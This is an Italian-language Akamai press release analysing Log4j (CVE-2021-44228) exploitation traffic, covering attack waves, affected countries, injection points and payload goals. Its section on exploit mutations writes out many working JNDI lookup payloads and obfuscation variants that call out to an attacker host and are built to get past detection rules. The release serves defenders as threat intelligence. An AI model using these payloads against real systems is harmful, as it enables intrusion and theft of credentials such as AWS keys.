Circa il 57% dell’infrastruttura di attacco che inviava exploit Log4j era già nota ad Akamai da attacchi precedenti. L’Italia è la quarta nazione più colpita, dopo Usa, Regno Unito e Canada
Akamai Technologies, Inc. (NASDAQ: AKAM), la soluzione più affidabile a livello mondiale per la protezione e la delivery di esperienze digitali, sta continuando ad analizzare la vulnerabilità critica CVE-2021-44228 rivelata in Log4j, per offrire chiare raccomandazioni su come dotarsi di una protezione extra, che vada oltre le semplici patch di sicurezza. La rete di Akamai consente di visualizzare il traffico di 1,3 miliardi di dispositivi unici al giorno, con un traffico record di 182 Tbps. Il team di ricerca delle minacce di Akamai ha quindi indagato questo traffico per approfondire la quantità di tentativi volti a sfruttare la vulnerabilità e le modalità di exploit e condividere insight utili sia ai threat hunter che ai team di sicurezza.
Innanzitutto:
⦁ C’è da aspettarsi che questa vulnerabilità abbia una lunga coda di attacco. Akamai prevede che, a causa dell’ampio utilizzo di questo software e del gran numero di varianti di exploit, continueremo a vedere tentativi di exploit per diversi mesi a venire ed è altamente probabile che molte violazioni vengano scoperte in futuro. La prima raccomandazione, quindi, è sicuramente quella di implementare una patch urgente.
⦁ I cyber criminali hanno utilizzato injection opportunistiche e i loro attacchi sono diventati più mirati. Oltre a variare gli exploit, gli aggressori hanno cercato di identificare qualsiasi punto di injection disponibile. Sebbene abbiano iniziato dai punti di ingresso “opportunistici” più ovvi, come lo user agent, si sono messi rapidamente alla ricerca dei parametri specifici dell’organizzazione target. Questo tipo di intelligence è molto utile per i difensori del web, perché possano adattarsi rapidamente al panorama delle minacce in evoluzione.
⦁ Le conseguenze della fase di ricognizione potrebbero non essere pienamente comprese per mesi. La maggior parte dell’attività osservata era di ricognizione/test, rispetto a una percentuale relativamente minore di attacchi effettivi. Se gli attacchi possono essere mitigati da patch e altri metodi, non è chiaro quindi quante violazioni siano realmente avvenute durante questo periodo e quale ne sia stata la portata.
Di seguito i risultati dell’analisi di Akamai nel dettaglio.
⦁ Un inizio lento, poi uno tsunami globale di attività dannose
C’è voluto un po’ di tempo perché i tentativi di sfruttamento della vulnerabilità rivolti ai clienti Akamai crescessero, ma una volta aumentati, sono stati lanciati in ondate massicce una dopo l’altra. Questo sarebbe in linea con gli altri risultati, secondo cui, appena gli aggressori hanno scoperto più vettori di attacco, hanno sfruttato le varianti, portando il volume di attività malevole ad aumentare drasticamente.
Come per altri attacchi zero-day, gli autori sono stati molto veloci ad adottare questo exploit ed espandere il loro arsenale di attacchi. Dai nostri dati possiamo affermare che circa il 57% dell’infrastruttura di attacco che inviava exploit Log4j era già nota ad Akamai da attacchi precedenti – essenzialmente, lo tsunami è stato provocato tanto da attori malevoli già esistenti che hanno colto l’opportunità, quanto da nuovi aggressori.
L’ondata di attacchi si è verificata a livello globale, con una prima ondata proveniente da Stati Uniti, Singapore, Germania e Brasile, ma le geografie erano altamente distribuite e alcuni attacchi sono partiti da server ospitati da popolari cloud provider, come AWS e DigitalOcean. Inoltre, le geografie degli IP in attacco sono sempre in movimento: il 15 dicembre, le analisi di Akamai hanno localizzato le macchine rogue che avevano inviato la maggior parte degli attacchi Log4j in Canada, Russia, Lussemburgo e Regno Unito.
Il commercio ha dominato i verticali del settore. Oltre il 50% dei clienti di app security di Akamai ha visto tentativi di exploit in una sola ora.
L’Italia è la quarta nazione più colpita, dopo USA, Regno Unito e Canada.
⦁ Mutazioni di exploit senza precedenti
Oltre all’enorme impatto di questa vulnerabilità, abbiamo notato un’evoluzione senza precedenti delle varianti di exploit.
Mentre il vettore di attacco iniziale suggerito nell’exploit proof-of-concept era ${jndi:ldap://malicious_server_address/}, sono emerse immediatamente altre tecniche di evasione dirette, come i payload URL-encoded: $%7Bjndi:ldap:/x.x.x.x:3339/Exploit%7D. Nel giro di poche ore, gli aggressori hanno iniziato a provare altri fornitori di servizi di registro JNDI come “rmi” e “dns” per eludere i rilevamenti che cercavano specificamente “ldap”, che sono stati suggeriti come: ${jndi:rmi:// e ${jndi:dns://
La documentazione esistente dei lookup di Log4j 2 aiuta a capire la superficie di attacco e il potenziale di evasione. Attaccanti e ricercatori stavano cercando di utilizzare una qualsiasi delle direttive di lookup per creare una variante di attacco offuscata che non includesse “jndi” – una stringa che la maggior parte dei difensori stava ricercando nelle proprie regole di rilevamento.
Poiché Log4j è insensibile alle maiuscole e alle minuscole, all’inizio sono state usate le direttive di trasformazione dei caratteri più banali – “lower” e “upper”: ${${lower:j}ndi: and ${${upper:j}ndi: Fornendo qualsiasi lunghezza di stringa alla funzione di ricerca, non solo un singolo carattere, funzionerà: ${${lower:jnd}i: Abbastanza immediatamente, gli avversari hanno scoperto che è possibile definire una variabile utente e impostarla con un valore predefinito utilizzando un segno “-“, che avrà come risultato la restituzione di questo valore predefinito dopo la definizione. Questo fornisce un altro trucco per offuscare le stringhe “jndi” e “ldap”: ${${x:-j}ndi: Apparentemente, il framework Log4j non richiede nemmeno di fornire un nome a una variabile, quindi le varianti di exploit hanno iniziato a includere quei nomi di variabili “vuoti”, e anche variabili con profondità multiple: ${${:-j}ndi: e ${${::::::-j}ndi:
Alcune varianti hanno iniziato ad usare altre direttive utente come “env” per definire nuove variabili ambientali, e “date”, che sorprendentemente non impone alcun formato di data: ${${env:BARFOO:-j}ndi e ${${date:’j’}${date:’n’}${date:’d’}${date:’i’}:ldap://127.0.0.1:3339/Exploit}
Varianti più avanzate, arrivate nei giorni successivi al lancio dell’exploit massivo, hanno incluso anche un’evasione di stringhe “vuote”. Gli attaccanti stavano cercando un metodo di ricerca e un’espressione che, quando valutata, potesse risultare in una stringa “vuota”, il che significa che questa espressione poteva essere iniettata tra qualsiasi carattere come: ${:-} Altre ancora, più avanzate della stringa “vuota”, si basavano su impostazioni specifiche del sistema e iniettavano cose come: ${{sys:sun.cpu.isalist}jnd${sys:sun.cpu.isalist}i E sono state tentate anche molte altre varianti tra cui doppio url codificato, unicode, ed espressioni senza la parentesi di chiusura “}”
È importante notare che gli attaccanti hanno provato anche diverse varianti di attacco non funzionanti, come: $jndi:ldap://
⦁ Multipli punti di ingresso: da attacchi opportunistici a mirati
La ricerca di Akamai ha scoperto che gli aggressori hanno iniettato il payload dell’exploit in più punti di ingresso. Il luogo più comune in cui l’exploit è stato iniettato è l’argomento Query String, l’intestazione User-Agent (come nell’exploit originale proof-of-concept), e il percorso della richiesta, partendo dal presupposto che i server web e le applicazioni avrebbero registrato le informazioni di “accesso”.
Nella maggior parte degli attacchi, l’injection è avvenuta tramite diversi parametri di query fittizi come “x”, “test” e “foo”. Sono stati inoltre utilizzati altri parametri di query come “url”, “nextUrl”, “_csrfToken”, “_endcoding” e “openid.retrun_to”, stimando che fosse altamente probabile che quei parametri venissero registrati. Ogni intestazione immaginabile è stata un obiettivo per l’iniezione, compresi Cookie, Referer, X-Forwarded-For e Connection. Molti degli attaccanti hanno inviato richieste iniettando l’exploit in più punti della stessa richiesta.
⦁ L’analisi del payload mostra l’uso di blind reconnaissance, dropping malware e strumenti di post exploitation
La maggior parte degli attori delle minacce sta applicando la tecnica della “blind” reconnaissance (ricognizione cieca) utilizzando i servizi online più popolari per il rilevamento dell’interazione dei servizi esterni. Per confermare alcune vulnerabilità, l’attaccante non è in grado di ottenere una risposta diretta dal servizio mirato. In questi casi, la tecnica per testare se il sito web è vulnerabile sarà cercare di eseguire del codice per contattare un server esterno sotto il controllo dell’attaccante in ascolto di tali connessioni. Se il server dell’attaccante riceve un “beacon” da un certo server, significa che questo server ha eseguito con successo il codice dell’attaccante. Invece di impostare e mantenere un tale server, la maggior parte degli aggressori ha preferito utilizzare i più popolari setup online proprio per questo.
I servizi più popolari utilizzati nell’attacco Log4j sono stati “ineract.sh”, “burpcollaborator.net” e “canarytokens.com”, tuttavia ne sono stati usati anche altri, molti dei quali ospitavano un deployment del server di interazione out-of-band open-source “Ineractsh”.
Oltre al beacon di blind reconnaissance, molti degli attaccanti stavano già cercando di esfiltrare dati utili come l’hostname della macchina, dati ambientali come java:os, java:vm, env:user – anche estraendo le chiavi AWS per facilitare il take over dell’account AWS.
Sono stati utilizzati anche servizi di tunnel inversi come “ngrok.io” per nascondere le identità degli attaccanti o scaricare una backdoor. Il vantaggio di questi servizi è che gli aggressori non hanno bisogno di ospitare il malware sul proprio server pubblico, che potrebbe essere chiuso o sequestrato dalle autorità. In questo caso, un aggressore ospita il malware e il pannello di comando e controllo sulla propria macchina, e si nasconde dietro un servizio di tunneling legittimo, mentre questo servizio “trasferisce” il traffico C2 dalla macchina della vittima alla macchina dell’aggressore.
Oltre agli attori delle minacce che implementano cryptominer e bot DDoS, Akamai ha identificato alcuni attaccanti aggressivi che eseguono un enorme volume di scansioni, prendendo di mira le macchine Windows. Gli aggressori stavano cercando di distribuire la famigerata backdoor “netcat”, un noto strumento di escalation dei privilegi di Windows, che è comunemente utilizzato per il successivo movimento laterale o per ottenere i privilegi per crittografare il disco e portare a termine un attacco ransomware.
Tuttavia, degli attacchi complessivi osservati da Akamai fino ad oggi, solo una piccola percentuale sembra essere legata al ransomware.
Akamai non si ferma qui. I team di threat intelligence, ricerca sulla sicurezza e risposta agli incidenti di Akamai continuano a monitorare e proteggere l’infrastruttura e i clienti Akamai, sfruttando visibilità e intelligence proprietarie. Il 17 dicembre, Hideki Okamoto di Akamai ha trovato e segnalato un’ulteriore vulnerabilità denial-of-service (DoS), che è stata assegnata come CVE-2021-45105.
Informazioni su Akamai
Akamai alimenta e protegge la vita online. Le aziende più innovative di tutto il mondo scelgono Akamai per proteggere e fornire le loro esperienze digitali – aiutando miliardi di persone a vivere, lavorare e giocare ogni giorno. Con la piattaforma edge più grande e affidabile del mondo, Akamai avvicina gli utenti ad applicazioni, codice ed esperienze più di chiunque altro – tenendo lontane le minacce. Per saperne di più sui prodotti e i servizi di sicurezza, content delivery ed edge computing di Akamai, è possibile visitare il sito https://www.akamai.com/it/it/ o il blog https://blogs.akamai.com/it/ oppure seguite @AkamaiItalia su Twitter.
